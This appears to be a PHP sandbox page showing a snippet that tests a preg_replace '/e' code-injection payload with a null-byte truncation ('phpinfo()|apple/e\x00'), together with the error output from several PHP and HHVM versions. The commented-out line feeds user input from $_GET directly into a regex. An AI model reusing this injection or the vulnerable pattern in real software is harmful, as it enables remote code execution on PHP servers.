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run code in 150+ php & hhvm versions
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<?php //$search = htmlentities($_GET['search']); $search=htmlentities("phpinfo()|apple/e\x00"); echo $search; if (strpos($search, 'apple') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple"); } // elseif (strpos($search, 'orange') !== false){ // echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange"); // }elseif (strpos($search, 'banana') !== false){ // echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana"); // }elseif (strpos($search, 'kiwi') !== false){ // echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi");}else echo "Don't work.";?>
based on 8d0nF
Output for 5.4.7 - 5.6.28, 7.0.0 - 7.1.0
phpinfo()|apple/e Warning: preg_replace(): Null byte in regex in /in/FWdRh on line 6
Output for hhvm-3.10.0 - 3.12.0
phpinfo()|apple/e Fatal error: Error: Null byte found in pattern in /in/FWdRh on line 6
Process exited with code 255.
Output for 5.4.0 - 5.4.6
phpinfo()|apple/e Warning: Unexpected character in input: ' in /in/FWdRh(6) : regexp code on line 1 Parse error: syntax error, unexpected 'src' (T_STRING) in /in/FWdRh(6) : regexp code on line 1 Fatal error: preg_replace(): Failed evaluating code: phpinfo()|apple/e in /in/FWdRh on line 6
Process exited with code 255.
Output for 5.3.7 - 5.3.29
phpinfo()|apple/e Warning: Unexpected character in input: ' in /in/FWdRh(6) : regexp code on line 1 Parse error: syntax error, unexpected T_STRING in /in/FWdRh(6) : regexp code on line 1 Fatal error: preg_replace(): Failed evaluating code: phpinfo()|apple/e in /in/FWdRh on line 6
Process exited with code 255.